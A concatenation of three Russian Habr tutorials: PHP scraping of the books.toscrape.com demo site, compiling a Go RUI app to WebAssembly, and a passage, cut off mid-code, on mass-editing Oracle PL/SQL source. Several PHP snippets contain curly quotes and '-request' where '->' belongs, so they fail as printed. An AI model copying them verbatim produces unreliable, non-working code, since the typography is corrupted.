После установки создадим новый файл goutte\_requests.php для кода. Ниже мы обсудим, что мы сделали с помощью библиотеки Guzzle в предыдущей главе. Извлечём с помощью Goutte названия книг с сайта [Books to Scrape](https://books.toscrape.com/). Также покажем, как можно добавлять цены в переменную массива и использовать её в коде. Добавьте в файл goutte\_requests.php этот код:
```
php
# scraping books to scrape:https://books.toscrape.com/
require ‘vendor/autoload.php’;
$httpClient = new \Goutte\Client();
$response = $httpClient-request(‘GET’, ‘https://books.toscrape.com/');
$titles = $response->evaluate(‘//ol[@class=”row”]//li//article//h3/a’);
$prices = $response->evaluate(‘//ol[@class=”row”]//li//article//div[@class=”product_price”]//p[@class=”price_color”]’);
// we can store the prices into an array
$priceArray = [];
foreach ($prices as $key => $price) {
$priceArray[] = $price->textContent;
}
// we extract the titles and display to the terminal together with the prices
foreach ($titles as $key => $title) {
echo $title->textContent . ‘ @ ‘. $priceArray[$key] . PHP_EOL;
}
```
Выполним его с помощью команды в терминале:
```
php goutte_requests.php
```
Результат:

Выше показан один из способов скрейпинга с помощью Goutte. Давайте рассмотрим способ с применением компонента CSSSelector из Goutte. CSS-селектор проще в использовании, чем XPath из предыдущего способа. Создадим ещё один PHP файл — goutte\_css\_requests.php. Добавим в него код:
```
php
# scraping books to scrape:https://books.toscrape.com/
require ‘vendor/autoload.php’;
$httpClient = new \Goutte\Client();
$response = $httpClient-request(‘GET’, ‘https://books.toscrape.com/');
// get prices into an array
$prices = [];
$response->filter(‘.row li article div.product_price p.price_color’)->each(function ($node) use (&$prices) {
$prices[] = $node->text();
});
// echo titles and prices
$priceIndex = 0;
$response->filter(‘.row li article h3 a’)->each(function ($node) use ($prices, &$priceIndex) {
echo $node->text() . ‘ @ ‘ . $prices[$priceIndex] .PHP_EOL;
$priceIndex++;
});
```
CSSSelector сделал код чище и удобочитаемее. Вы могли заметить, что мы использовали оператор `&`, который обеспечивает передачу в цикл `«each»` ссылки на переменную, а не просто её значение. Если цикл меняет `&$prices`, то фактические значения за пределами цикла тоже меняются. Подробнее о [присвоении по ссылкам](https://www.php.net/manual/en/language.references.whatdo.php) можно почитать в официальной документации PHP. Выполним файл в терминале:
```
php goutte_css_requests.php
```
И увидим аналогичный результат:

Наш веб-скрейпер с Goutte работает хорошо. Давайте теперь посмотрим, можно ли кликнуть на ссылку и перейти на другую страницу. На нашем демо-сайте [Books to Scrape](https://books.toscrape.com/) при клике на название книги загружается страница с описанием:

Посмотрим, можно ли кликнуть на ссылку в списке книг, перейти на страницу с описанием и извлечь его. Изучим код интересующей страницы:

Наш целевой путь будет таким: элемент `div clаss="content"`, затем `div id="content_inner"`, затем один тег `article`, и наконец тег `p`. У нас есть несколько тегов `p`, тег с описанием является четвёртым внутри родительского элемента `div class="content"`. Поскольку массивы начинаются с 0, мы будем получать ноду в третьем индексе. Теперь напишем код. Сначала добавим Composer-пакет для облегчения парсинга HTML5:
```
composer require masterminds/html5
```
Модифицируем файл goutte\_css\_requests.php:
```
php
# scraping books to scrape:https://books.toscrape.com/
require ‘vendor/autoload.php’;
$httpClient = new \Goutte\Client();
$response = $httpClient-request(‘GET’, ‘https://books.toscrape.com/');
// get prices into an array
$prices = [];
$response->filter(‘.row li article div.product_price p.price_color’)
->each(function ($node) use (&$prices) {
$prices[] = $node->text();
});
// echo title, price, and description
$priceIndex = 0;
$response->filter(‘.row li article h3 a’)
->each(function ($node) use ($prices, &$priceIndex, $httpClient) {
$title = $node->text();
$price = $prices[$priceIndex];
//getting the description
$description = $httpClient->click($node->link())
->filter(‘.content #content_inner article p’)->eq(3)->text();
// display the result
echo “{$title} @ {$price} : {$description}\n\n”;
$priceIndex++;
});
```
Если исполнить его в терминале, то мы увидим название, цену и описание книги:

С помощью компонента Goutte CSS Selector и возможности кликать на странице вы можете легко бродить по многостраничным сайтам и извлекать сколько угодно информации.
3. Веб-скрейпинг на PHP с использованием Simple HTML DOM
--------------------------------------------------------
[Simple HTML DOM](https://simplehtmldom.sourceforge.io/manual.htm#section_quickstart) — ещё одна минималистичная библиотека веб-скрейпинга для PHP. Извлекать информацию будем с того же сайта. Прежде чем устанавливать пакет, изменим файл composer.json и добавим нижеуказанные строки сразу после блока `require:{}`, чтобы избежать ошибок версионирования:
```
“minimum-stability”: “dev”,
“prefer-stable”: true
```
Теперь можно устанавливать библиотеку:
```
composer require simplehtmldom/simplehtmldom
```
Затем создаём новый PHP-файл — simplehtmldom\_requests.php. Мы уже рассматривали макет страницы, так что сразу перейдём к коду. Добавьте в simplehtmldom\_requests.php:
```
php
# scraping books to scrape:https://books.toscrape.com/
require ‘vendor/autoload.php’;
$httpClient = new \simplehtmldom\HtmlWeb();
$response = $httpClient-load(‘https://books.toscrape.com/');
// echo the title
echo $response->find(‘title’, 0)->plaintext . PHP_EOL . PHP_EOL;
// get the prices into an array
$prices = [];
foreach ($response->find(‘.row li article div.product_price p.price_color’) as $price) {
$prices[] = $price->plaintext;
}
// echo titles and prices
foreach ($response->find(‘.row li article h3 a’) as $key => $title) {
echo “{$title->plaintext} @ {$prices[$key]} \n”;
}
```
Если выполнить код в терминале, получим:

Больше способов скрейпинга с помощью [Simple HTML DOM описано в официальной документации по API](https://simplehtmldom.sourceforge.io/manual_api.htm).
4. Веб-скрейпинг на PHP с использованием Headless-браузера Symfony Panther
--------------------------------------------------------------------------
Headless-браузер — это браузер без графического интерфейса. Благодаря этой особенности мы можем использовать терминал для загрузки страниц в среде, аналогичной браузеру и писать код для управления навигацией, как в предыдущих примерах. Зачем это нужно? Сегодня большинство разработчиков используют для развёртывания веб-фреймворки на JavaScript. Эти фреймворки генерируют внутри браузеров HTML-код. В других случаях для динамической загрузки содержимого применяют AJAX. В предыдущих примерах мы использовали статичные HTML-страницы, поэтому и результат скрейпинга был согласованным. А в случае с динамическими страницами, в которых HTML генерируется с помощью JavaScript и AJAX, получившееся DOM-дерево может сильно отличаться, что нарушит работу скрейпера. Решить эту проблему поможет headless-браузер.
В качестве такого браузера можно использовать PHP-библиотеку [Symfony Panther](https://github.com/symfony/panther). Её применяют и для скрейпинга, и для прогона тестов с использованием настоящих браузеров. Кроме того, библиотека предоставляет такие же методы, как и Goutte, поэтому можно использовать Panther вместо Goutte. Возможности Panther:
* исполняет JavaScript в веб-страницах;
* поддерживает удалённое браузерное тестирование;
* поддерживает асинхронную загрузку элементов посредством ожидания загрузки других элементов, прежде чем выполнить определённую строку кода;
* поддерживает все реализации Chrome и Firefox;
* может делать скриншоты;
* позволяет запускать пользовательский JS-код или XPath-запросы в контексте загруженной страницы.
Мы уже много скрейпили, попробуем кое-что другое. Будем загружать HTML-страницу и делать её скришот. Установим [Symfony Panther](https://github.com/symfony/panther):
```
composer require symfony/panther
```
Создадим новый PHP-файл panther\_requests.php. Добавим в него код:
```
php
# scraping books to scrape:https://books.toscrape.com/
require ‘vendor/autoload.php’;
$httpClient = \Symfony\Component\Panther\Client::createChromeClient();
// for a Firefox client use the line below instead
//$httpClient = \Symfony\Component\Panther\Client::createFirefoxClient();
// get response
$response = $httpClient-get(‘https://books.toscrape.com/');
// take screenshot and store in current directory
$response->takeScreenshot($saveAs = ‘books_scrape_homepage.jpg’);
// let’s display some book titles
$response->getCrawler()->filter(‘.row li article h3 a’)
->each(function ($node) {
echo $node->text() . PHP_EOL;
});
```
Чтобы запустить его в системе, нужно установить драйверы для Chrome или Firefox, в зависимости от клиента, используемого в вашем коде. К счастью, Composer может это сделать автоматически. Выполним в терминале команду установки и определения драйверов:
```
composer require --dev dbrekelmans/bdi && vendor/bin/bdi detect drivers
```
Теперь можно выполнить в терминале PHP-файл, который сделает скриншот страницы и сохранит его в текущую директорию, а потом покажет список названий книг со страницы.

Заключение
----------
Мы рассмотрели разные open-source PHP-библиотеки, которые можно использовать для скрейпинга сайтов. С помощью этого руководства вы сможете сделать простенький скрейпер для одной-двух страниц. Хотя мы прошлись лишь по верхам, но рассмотрели большинство доступных способов использования библиотек. Теперь вы можете сделать более сложный скрейпер, способный обходить тысячи страниц. Код из статьи лежит в [репозитории](https://github.com/jaymoh/php_web_scraper).
Дополнительные источники информации, которые могут быть вам полезны
* [Datacenter Proxies](https://www.scrapingdog.com/blog/best-datacenter-proxy-provider-webscraping)
* [Веб-скрейпинг на Java](https://www.scrapingdog.com/blog/web-scraping-101-with-java.html)
* [Веб-скрейпинг на Python](https://www.scrapingdog.com/blog/web-scraping-with-python.html)
* [Веб-скрейпинг на Nodejs](https://www.scrapingdog.com/blog/web-scraping-101-with-nodejs.html)
* [Веб-скрейпинг с помощью Selenium и Python](https://www.scrapingdog.com/blog/starting-with-selenium-python.html) | https://habr.com/ru/post/565028/ | null | ru | null |
# Фронтенд на Go с использованием библиотеки RUI
Изначально [библиотека RUI](https://github.com/anoshenko/rui) разработана для создания клиент-серверных веб приложений на языке go, где вся обработка осуществляется на сервере, а браузер используется только как тонкий клиент.
Однако в последней версии библиотеки (0.10.0) была добавлена поддержка технологии WebAssembly. Теперь стало возможным объединить серверную и клиентскую часть в единый модуль исполняемый в браузере. При этом требуются минимальные изменения в уже существующем проекте использующем библиотеку RUI
В этой статье я покажу как переделать уже существующий проект чтобы его можно было скомпилировать в wasm модуль и запустить его в браузере
Рассматривать данный процесс будем на примере [демонстрационного приложения библиотеки RUI](https://github.com/anoshenko/ruiDemo).
Для того чтобы подготовить проект в него необходимо внести следующие изменения:
1. добавить страницу загрузки приложения;
2. вынести из ресурсов приложения все мультимедиа файлы (графику, видео, аудио);
3. где необходимо, добавить в ImageView свойство "srcset".
Страница загрузки приложения
----------------------------
Страница загрузки приложения уже добавлена в проект (файл "wasm\_exec.html") и выглядит она следующим образом
```
Go wasm
if (WebAssembly) {
const go = new Go();
WebAssembly.instantiateStreaming(fetch("demo.wasm"), go.importObject).then((result) => {
go.run(result.instance);
});
} else {
console.log("WebAssembly is not supported in your browser")
}
```
Это стандартная методика загрузки wasm модуля. Такой код вы можете увидеть практически в любом проекте на go для WebAssembly. Просто копируйте эту страницу в ваш проект
Код страницы очень простой: он загружает файл "demo.wasm" и запускает его.
Однако возникает вопрос: что за файл "wasm\_exec.js" и где его взять?
Файл "wasm\_exec.js" это файл из стандартной библиотеки golang. Он используется для согласования типов данных go и WebAssembly. Найти его можно по адресу "$GOROOT/misc/wasm/wasm\_exec.js".
ВНИМАНИЕ. Файл "wasm\_exec.js" может изменяться. Поэтому если вы переходите на новую версию go, то необходимо обновить и "wasm\_exec.js" на вашем веб сервере. Если этого не сделать то wasm модуль может перестать загружаться
Вынесение из ресурсов приложения всех мультимедиа файлов
--------------------------------------------------------
Приложение скомпилированное в wasm модуль, по умолчанию, не умеет загружать картинки, видео и аудио из ресурсов приложения. Поэтому их необходимо исключить из модуля и разместить на сервере.
В принципе, данные файлы можно было бы оставить в ресурсах и подключать, например, так
```
imageView.Set(rui.Source, "data:image/png;base64,"+base64.StdEncoding.EncodeToString(data))
```
Однако этот способ вызывает жуткие тормоза в Safari и не рекомендуется к использованию (при этом в хроме и мозилле все работает быстро, никаких задержек нет).
Кроме того включение мультимедиа в ресурсы значительно увеличивает размер и так не маленького модуля, что, в свою очередь, увеличивает время загрузки страницы (а это всегда плохо).
Для того чтобы исключить все мультимедиа файлы, в проекте они вынесены в отдельную папку "media" и их включение в ресурсы осуществляется только если целевая платформа не js/wasm. Для всех платформ за исключение js/wasm ресурсы объявляются в файле resources.go
```
//go:build !wasm
package main
import "embed"
//go:embed resources media
var resources embed.FS
```
А для платформы js/wasm ресурсы объявляются в файле resourcesWasm.go
```
//go:build wasm
package main
import "embed"
//go:embed resources
var resources embed.FS
```
Добавление в ImageView свойства "srcset"
----------------------------------------
Библиотека RUI поддерживает возможность использования разных вариантов изображения для различных плотностей пикселей экрана. Для этого в ресурсы приложения включатся несколько версий изображения. Например в рассматриваемом проекте это cat.jpg и cat@2x.jpg, sample.png, sample@2x.png и sample@3x.png. Приложение само анализирует какие версии картинки есть и использует нужную.
Однако в случае wasm модуля картинки расположены на внешнем сервере и приложение не знает какие версии изображения имеются. Поэтому для платформы wasm необходимо с помощью свойства "srcset" явно задавать список вариантов изображений. Например:
```
if runtime.GOOS == "js" {
imageView.Set(rui.SrcSet, "cat.jpg, cat@2x.jpg")
}
```
В свойстве "srcset" вы должны перечислить через запятую все варианты изображения.
Это все изменения которые необходимо сделать в проекте для поддержки технологии WebAssembly
Компиляция и запуск
-------------------
Теперь необходимо скомпилировать проект. Для этого переходим в папку проекта и выполняем команду
```
GOOS=js GOARCH=wasm go build -o demo.wasm
```
В результате у вас появится файл demo.wasm.
Теперь если вы попытаетесь открыть в браузере wasm\_exec.html, то вы увидите пустую страницу, а в консоли браузера следующую ошибку
> Access to fetch at 'file://.../demo.wasm' from origin 'null' has been blocked by CORS policy: Cross origin requests are only supported for protocol schemes: http, data, isolated-app, chrome-extension, chrome, https, chrome-untrusted.
>
>
Этот говорит нам о том, что нам нужен http сервер. Напишем его на go
```
package main
import (
"fmt"
"log"
"net/http"
"os"
)
var projectPath = "/ruiDemo"
func main() {
http.HandleFunc("/", server)
log.Fatal(http.ListenAndServe("localhost:8080", nil))
}
func server(w http.ResponseWriter, req \*http.Request) {
switch req.Method {
case "GET":
fmt.Print(req.URL.Path)
switch req.URL.Path {
case "/", "/wasm\_exec.html":
http.ServeFile(w, req, projectPath+"/wasm\_exec.html")
case "/demo.wasm", "/wasm\_exec.js":
http.ServeFile(w, req, projectPath+req.URL.Path)
default:
path := projectPath + "/media/images" + req.URL.Path
if \_, err := os.Stat(path); err == nil {
http.ServeFile(w, req, path)
return
}
path = projectPath + "/media/raw" + req.URL.Path
http.ServeFile(w, req, path)
}
}
}
```
После запуска данного сервера и перехода в браузере по адресу "localhost:8080" вы должны увидеть демо приложение библиотеки RUI
И в конце об одной проблеме с которой вы можете столкнуться если в качестве сервера будете использовать nginx или Apache. Если зальете данное приложение на данные сервера и попробуете открыть, то с большой вероятностью вы увидите пустой экран, а в консоле браузера ошибку:
> Uncaught (in promise) TypeError: Failed to execute 'compile' on 'WebAssembly': Incorrect response MIME type. Expected 'application/wasm'
>
>
Для решения этой проблемы необходимо прописать в настройках сервера для файлов с расширением "wasm" mime-тип "application/wasm"
На этом все | https://habr.com/ru/post/698818/ | null | ru | null |
# Изменение исходников ( DDL ) на лету
При сопровождении ERP систем иногда возникает необходимость массового изменения кода процедур, функций, триггеров или пакетов. Например для замены вызова одной процедуры на вызов другой.
Если надо поменять пару процедур, то можно сделать это в ручную, но когда надо изменить несколько сотен объектов, то приходиться задуматься об автоматизации процесса. В статье описан пример автоматизации для СУБД **ORACLE 11g**.
#### Теория
DDL скрипты всех объектов ( ORACLE ) храниться в таблице **SYS.SOURCE$**, казалось бы достаточно сделать:
```
update source$ set source = replace(source,'old_name','new_name') where source like '%old_name%'
```
, но на самом деле поменять исходники не достаточно. Исходники надо скомпилировать.
Компиляция выполняется с помощью **EXECUTE IMMEDIATE**.
До версии 11, для запросов текст которых нельзя было записать в **VARCHAR2**(32767), надо было использовать функционал пакета **DBMS\_SQL**:
```
-- To process a SQL statement, you must have an open cursor
nCursorId := DBMS_SQL.OPEN_CURSOR ;
-- Every SQL statement must be parsed
DBMS_SQL.PARSE (nCursorId , SqlStatement_CLOB, DBMS_SQL.NATIVE);
-- DDL statements are run on the parse, which performs the implied commit.
```
Проблема в том как получить исходник объекта.
Можно курсором пройтись по записям таблицы **SYS.SOURCE$** — склеить поля **SOURCE** каждой записи через оператор "**||**" и символ конца строки. Но есть способ проще, через пакет **DBMS\_METADATA**, у которого есть функция **GET\_DDL**.
Удобство функции DBMS\_METADATA.GET\_DDL не только в том что она выдаёт весь исходный текст объекта, но ещё и в том что подставляет имя схемы и добавляет "**CREATE OR REPLACE**".
Минус в том что функция принимает строковые аргументы в том время как в таблице **SYS.OBJ$** хранятся числа.
#### Алгоритм изменения исходников процедур.
1. Получить исходники с помощью DBMS\_METADATA.GET\_DDL;
2. Изменить текст нужным образом ( в простейшем случае через REPLACE );
3. Скомпилировать процедуру с помощью EXECUTE IMMEDIATE;
4. Пользоваться и получать удовольствие;
#### Практика
На практике всё не так просто.
Когда я залогинился пользователем **SYS**, у меня не получалось скомпилировать процедуры другой схемы (**PROD**), потому что у таблиц не были подставлены имена схем, то есть было:
```
SELECT * FROM TABLE_NAME
```
, компилятор почему то ожидал
```
SELECT * FROM PROD.TABLE_NAME
```
, хотя в начале DDL скрипта было написано
```
CREATE OR REPLACE PROCEDURE PROD.PROCEDURE_NAME
```
и когда в "**PL/SQL Developer**" или "**TOAD**" компилируешь объекты другой схемы ( не той под которой залогинился ) всё компилируется без ошибок.
Видимо есть нюанс о котором я не догадываюсь, или руки у меня недостаточно прямые.
Когда я залогинился пользователем **PROD**, у меня была ошибка доступа к таблице **SYS.SOURCE$**, это вылечилось привилегией
```
GRANT SELECT ANY DICTIONARY TO PROD;
```
Для отладки нужна привилегия
```
GRANT DEBUG ANY PROCEDURE TO PROD;
```
#### Автоматизация, скрипты, и процедуры
##### Анализ исходных данных
У меня стояла задача заменить вызов функции "**GET\_ACTUAL\_DATE**" на вызов "**SYSDATE**". Можно было конечно код функции GET\_ACTUAL\_DATE заменить на «RETURN SYSDATE», но тогда мне не о чём было бы писать в этой статье :), поэтому приступим.
Первым делом надо посмотреть где встречается подстрока «GET\_ACTUAL\_DATE»:
```
SELECT
SC.SOURCE
FROM
SYS.USER$ UR
JOIN SYS.OBJ$ OB ON
UR.USER# = OB.OWNER#
JOIN SYS.SOURCE$ SC ON
SC.OBJ# = OB.OBJ#
WHERE
UR.USER# = 50 /* schema id from table USER$ for 'PROD'*/
AND UPPER(SC.SOURCE) LIKE '%' || 'GET_ACTUAL_DATE' || '%'
ORDER BY
SC.OBJ#
, SC.LINE
;
```
Получилось 1185 строк в 590 объектах.
Я просмотрел выборку и сделал вывод, что для того чтобы заменить именно вызов функции, а не часть имени переменной или процедуры, надо искать
```
'(' || 'GET_ACTUAL_DATE'
```
, также перед вызовом функции были другие символы:
* '=' ;
* ' '(пробел);
* ','(запятая);
* '''' (кавычки);
Исходя из этого я написал запрос для генерации шаблона поиска:
```
WITH
PATTERNS AS
(
SELECT
'GET_ACTUAL_DATE' AS ERST /* изначально было */
, '(' AS OPENING /* открывающий */
, '' AS CLOSING /* закрывающий */
, 'SYSDATE' AS BECOME /* в итоге станет */
FROM
DUAL
UNION ALL
SELECT
'GET_ACTUAL_DATE'
, ' '
, ''
, 'SYSDATE'
FROM
DUAL
UNION ALL
SELECT
'GET_ACTUAL_DATE'
, '='
, ''
, 'SYSDATE'
FROM
DUAL
UNION ALL
SELECT
'GET_ACTUAL_DATE'
, ','
, ''
, 'SYSDATE'
FROM
DUAL
UNION ALL
SELECT
'GET_ACTUAL_DATE'
, ''''
, ''
, 'SYSDATE'
FROM
DUAL
)
SELECT
PT.OPENING || PT.ERST || PT.CLOSING /* было */
, PT.OPENING || PT.BECOME || PT.CLOSING /* стало */
FROM
PATTERNS PT
;
```
Теперь можно было посмотреть что же получиться если выполнить подстановки ( REPLACE ):
**посмотреть запрос**
```
WITH
PATTERNS AS
(
SELECT
'GET_ACTUAL_DATE' AS ERST
, '(' AS OPENING
, '' AS CLOSING
, 'SYSDATE' AS BECOME
FROM
DUAL
UNION ALL
SELECT
'GET_ACTUAL_DATE'
, ' '
, ''
, 'SYSDATE'
FROM
DUAL
UNION ALL
SELECT
'GET_ACTUAL_DATE'
, '='
, ''
, 'SYSDATE'
FROM
DUAL
UNION ALL
SELECT
'GET_ACTUAL_DATE'
, ','
, ''
, 'SYSDATE'
FROM
DUAL
UNION ALL
SELECT
'GET_ACTUAL_DATE'
, ''''
, ''
, 'SYSDATE'
FROM
DUAL
)
SELECT
SC.OBJ# AS OBJ#
, SC.LINE AS LINE
, SC.SOURCE AS SOURCE
, REPLACE
(
UPPER(SC.SOURCE)
, PT.OPENING || PT.ERST || PT.CLOSING
, PT.OPENING || PT.BECOME || PT.CLOSING
) AS COMPLETE
FROM
SYS.USER$ UR
JOIN SYS.OBJ$ OB ON
UR.USER# = OB.OWNER#
JOIN SYS.SOURCE$ SC ON
SC.OBJ# = OB.OBJ#
, PATTERNS PT
WHERE
UR.USER# = 50 /* USER PROD */
AND
UPPER(SC.SOURCE) LIKE '%' || PT.ERST || '%'
AND REPLACE
(
UPPER(SC.SOURCE)
, PT.OPENING || PT.ERST || PT.CLOSING
, PT.OPENING || PT.BECOME || PT.CLOSING
)
<> UPPER(SC.SOURCE)
ORDER BY
OBJ#
, LINE
;
```
Просмотрел результат, одна строка была объявлением функции «GET\_ACTUAL\_DATE », её переделывать в объявление «SYSDATE» не требовалось.
Две другие строки были коментами, их тоже надо было оставить в покое. Дописал скрипт что бы можно было исключить заданные строки и объекты:
**посмотреть запрос**
```
WITH
EXCLUDE_LINE AS /* исключить строки */
(
SELECT 105857 AS OBJ# , 321 AS LINE FROM DUAL UNION
SELECT 82036 , 50 FROM DUAL
)
, EXCLUDE_OBJ AS /* исключить объекты */
(
SELECT 121939 AS OBJ# FROM DUAL
)
, PATTERNS AS
(
SELECT
'GET_ACTUAL_DATE' AS ERST
, '(' AS OPENING
, '' AS CLOSING
, 'SYSDATE' AS BECOME
FROM
DUAL
UNION ALL
SELECT
'GET_ACTUAL_DATE'
, ' '
, ''
, 'SYSDATE'
FROM
DUAL
UNION ALL
SELECT
'GET_ACTUAL_DATE'
, '='
, ''
, 'SYSDATE'
FROM
DUAL
UNION ALL
SELECT
'GET_ACTUAL_DATE'
, ','
, ''
, 'SYSDATE'
FROM
DUAL
UNION ALL
SELECT
'GET_ACTUAL_DATE'
, ''''
, ''
, 'SYSDATE'
FROM
DUAL
)
SELECT
SC.OBJ# AS OBJ#
, SC.LINE AS LINE
, SC.SOURCE AS SOURCE
, REPLACE
(
UPPER(SC.SOURCE)
, PT.OPENING || PT.ERST || PT.CLOSING
, PT.OPENING || PT.BECOME || PT.CLOSING
) AS COMPLETE
FROM
SYS.USER$ UR
JOIN SYS.OBJ$ OB ON
UR.USER# = OB.OWNER#
JOIN SYS.SOURCE$ SC ON
SC.OBJ# = OB.OBJ#
, PATTERNS PT
WHERE
UR.USER# = 50
AND
UPPER(SC.SOURCE) LIKE '%' || PT.ERST || '%'
AND (SC.OBJ# , SC.LINE ) NOT IN (SELECT EL.OBJ# , EL.LINE FROM EXCLUDE_LINE EL )
AND SC.OBJ# NOT IN (SELECT EO.OBJ# FROM EXCLUDE_OBJ EO )
AND REPLACE
(
UPPER(SC.SOURCE)
, PT.OPENING || PT.ERST || PT.CLOSING
, PT.OPENING || PT.BECOME || PT.CLOSING
)
<> UPPER(SC.SOURCE)
ORDER BY
OBJ#
, LINE
;
```
Выполнил запрос, посмотрел выборку — ок.
##### Сохранение подстановок
Теперь результат «вычисления» подстановок надо было куда то сохранить. Добавим таблицу:
```
CREATE TABLE SWAP_SOURCE_CODE (
BATCH NUMBER, /* номер прогона / номер генерации данных для подстановки */
OBJ# NUMBER, /* объект */
LINE NUMBER, /* строка */
SOURCE VARCHAR2(4000 BYTE), /* текст исходника SYS.SOURCE$.SOURCE%TYPE */
OUTPUT VARCHAR2(4000 BYTE), /* текст подмены */
CONSTRAINT PK_SWAP_SOURCE_CODE PRIMARY KEY (BATCH, OBJ#, LINE) USING INDEX TABLESPACE PROD_INDEX STORAGE (INITIAL 80 K NEXT 1 M MAXEXTENTS UNLIMITED)
)
```
Заполнение таблицы SWAP\_SOURCE\_CODE, данными:
```
INSERT INTO SWAP_SOURCE_CODE
WITH
EXCLUDE_LINE AS /* исключить строки */
(
SELECT 105857 AS OBJ# , 321 AS LINE FROM DUAL UNION
SELECT 82036 , 50 FROM DUAL
)
, EXCLUDE_OBJ AS /* исключить объекты */
(
SELECT 121939 AS OBJ# FROM DUAL
)
, BATCH_NUMBER AS /* генерация номера прогона */
(
SELECT (COALESCE (MAX(BATCH),0) +1) AS BATCH# FROM PROD.SWAP_SOURCE_CODE
)
, PATTERNS AS /* генерация подстановок */
(
SELECT
'GET_ACTUAL_DATE' AS ERST
, '(' AS OPENING
, '' AS CLOSING
, 'SYSDATE' AS BECOME
FROM
DUAL
UNION ALL
SELECT
'GET_ACTUAL_DATE'
, ' '
, ''
, 'SYSDATE'
FROM
DUAL
UNION ALL
SELECT
'GET_ACTUAL_DATE'
, '='
, ''
, 'SYSDATE'
FROM
DUAL
UNION ALL
SELECT
'GET_ACTUAL_DATE'
, ','
, ''
, 'SYSDATE'
FROM
DUAL
UNION ALL
SELECT
'GET_ACTUAL_DATE'
, ''''
, ''
, 'SYSDATE'
FROM
DUAL
)
SELECT
BATCH_NUMBER.BATCH#
, SC.OBJ# AS OBJ#
, SC.LINE AS LINE
, SC.SOURCE AS SOURCE
, REPLACE
(
UPPER(SC.SOURCE)
, PT.OPENING || PT.ERST || PT.CLOSING
, PT.OPENING || PT.BECOME || PT.CLOSING
) AS COMPLETE
FROM
SYS.USER$ UR
JOIN SYS.OBJ$ OB ON
UR.USER# = OB.OWNER#
JOIN SYS.SOURCE$ SC ON
SC.OBJ# = OB.OBJ#
, PATTERNS PT
, BATCH_NUMBER
WHERE
UR.USER# = 50 /* работа с объектами только схемы PROD */
AND
UPPER(SC.SOURCE) LIKE '%' || PT.ERST || '%'
AND (SC.OBJ# , SC.LINE ) NOT IN (SELECT EL.OBJ# , EL.LINE FROM EXCLUDE_LINE EL )
AND SC.OBJ# NOT IN (SELECT EO.OBJ# FROM EXCLUDE_OBJ EO )
AND REPLACE
(
UPPER(SC.SOURCE)
, PT.OPENING || PT.ERST || PT.CLOSING
, PT.OPENING || PT.BECOME || PT.CLOSING
)
<> UPPER(SC.SOURCE)
ORDER BY
OBJ#
, LINE
;
```
Проверяем результат подстановок:
```
SELECT * FROM SWAP_SOURCE_CODE;
```
Я не стал делать генерацию подстановок процедурой потому, что условия подстановок каждый раз разные и не факт, что в очередной раз с помощью PL/SQL будет удобно описать алгоритм преобразования исходного DDL скрипта в целевой, обычно это делается внешней программой ( написанной на C#,Ruby,Perl).
##### Выполнение подстановок
Теперь мы имеем подстановки в таблице SWAP\_SOURCE\_CODE, и можно выполнить подстановки, при этом надо сохранить исходник до выполнения подстановок и, конечно, надо сохранить исходник после подстановок. Для этого добавим таблицу SOURCE\_CODE\_BACKUP:
```
CREATE TABLE SOURCE_CODE_BACKUP (
BATCH NUMBER, /* номер прогона */
OBJ NUMBER, /* объект */
CODE_BACKUP CLOB, /* текст объекта до внесения изменений*/
CODE_UPDATE CLOB, /* текст после изменений */
CONSTRAINT PK_SOURCE_CODE_BACKUP PRIMARY KEY (BATCH, OBJ) USING INDEX TABLESPACE PROD_INDEX STORAGE (INITIAL 80 K NEXT 1 M MAXEXTENTS NLIMITED)
)
```
Подстановки выполняем процедурой P\_REPLACE\_SOURCE\_WITH\_OUTPUT:
```
CREATE OR REPLACE PROCEDURE P_REPLACE_SOURCE_WITH_OUTPUT
(
N_BATCH_IN IN NUMBER /* номер прогона с источником подстановок */
)
AS
/* курсор для получения списка объектов*/
CURSOR GetObjFromSwap_Source_Code
(
nBatchIn IN NUMBER
)
IS
SELECT
SW.OBJ# AS OBJ
FROM
SWAP_SOURCE_CODE SW
WHERE
SW.BATCH = nBatchIn
GROUP BY
SW.OBJ#
ORDER BY
SW.OBJ#
;
TYPE T_OBJ_TABLE IS TABLE OF GetObjFromSwap_Source_Code%ROWTYPE;
OBJ_TABLE T_OBJ_TABLE := T_OBJ_TABLE();
nObjCount NUMBER ;
nObjFirstIndex NUMBER ;
nObjLastIndex NUMBER ;
nObj NUMBER;
ObjBackup_CLOB CLOB ; /* оригинальный исходник */
ObjUpdate_CLOB CLOB ; /* исходник после выполнения подстановок*/
nBATCH NUMBER; /* номер прогона по генерации исходников */
CURSOR GetNextBatchNumber
IS
SELECT
COALESCE( MAX(SB.BATCH),0 ) + 1
FROM
SOURCE_CODE_BACKUP SB
;
nIsEqual NUMBER ; /* результат сравнения исходника после подстановок с оригинальным исходником */
/* процедура для выполнения подстановки */
PROCEDURE PARSE_SOURCE_CODE_WITH_OUTPUT
(
nObjIn IN NUMBER /* объект для обработки */
, nBatchIn IN NUMBER /* номер прогона с подстановкой */
, ObjBackupOut_CLOB OUT CLOB /* оригинальный исходник */
, ObjUpdateOut_CLOB OUT CLOB /* обработанный исходник */
)
AS
/* Курсор для получения Имени Типа и Схемы объекта */
CURSOR GetObjNameTypeSchema
(
nObjIn IN NUMBER
)
IS
/* полный список соответствия номера типа к его наименованию в представлении SYS.DBA_OBJECTS , у функции DBMS_METADATA.GET_DDL свои обозначения типов, они отличаются от тех что в DBA_OBJECTS тем что пробелы заменены на символ "_" , полный список типов по ссылке http://docs.oracle.com/cd/B19306_01/appdev.102/b14258/d_metada.htm#BGBBIEGA */
WITH OBJ_TYPE AS
(
SELECT 0 AS TYPE#, 'NEXT_OBJECT' AS NAME FROM DUAL UNION ALL
SELECT 1, 'INDEX' FROM DUAL UNION ALL
SELECT 2, 'TABLE' FROM DUAL UNION ALL
SELECT 3, 'CLUSTER' FROM DUAL UNION ALL
SELECT 4, 'VIEW' FROM DUAL UNION ALL
SELECT 5, 'SYNONYM' FROM DUAL UNION ALL
SELECT 6, 'SEQUENCE' FROM DUAL UNION ALL
SELECT 7, 'PROCEDURE' FROM DUAL UNION ALL
SELECT 8, 'FUNCTION' FROM DUAL UNION ALL
/* если запросить объект с типом 'PACKAGE' то будет возвращён и заголовок пакета и тело пакета, что бы получить только заголовок надо запрашивать 'PACKAGE_SPEC' */
SELECT 9, 'PACKAGE_SPEC' FROM DUAL UNION ALL -- 'PACKAGE'
SELECT 11, 'PACKAGE_BODY' FROM DUAL UNION ALL
SELECT 12, 'TRIGGER' FROM DUAL UNION ALL
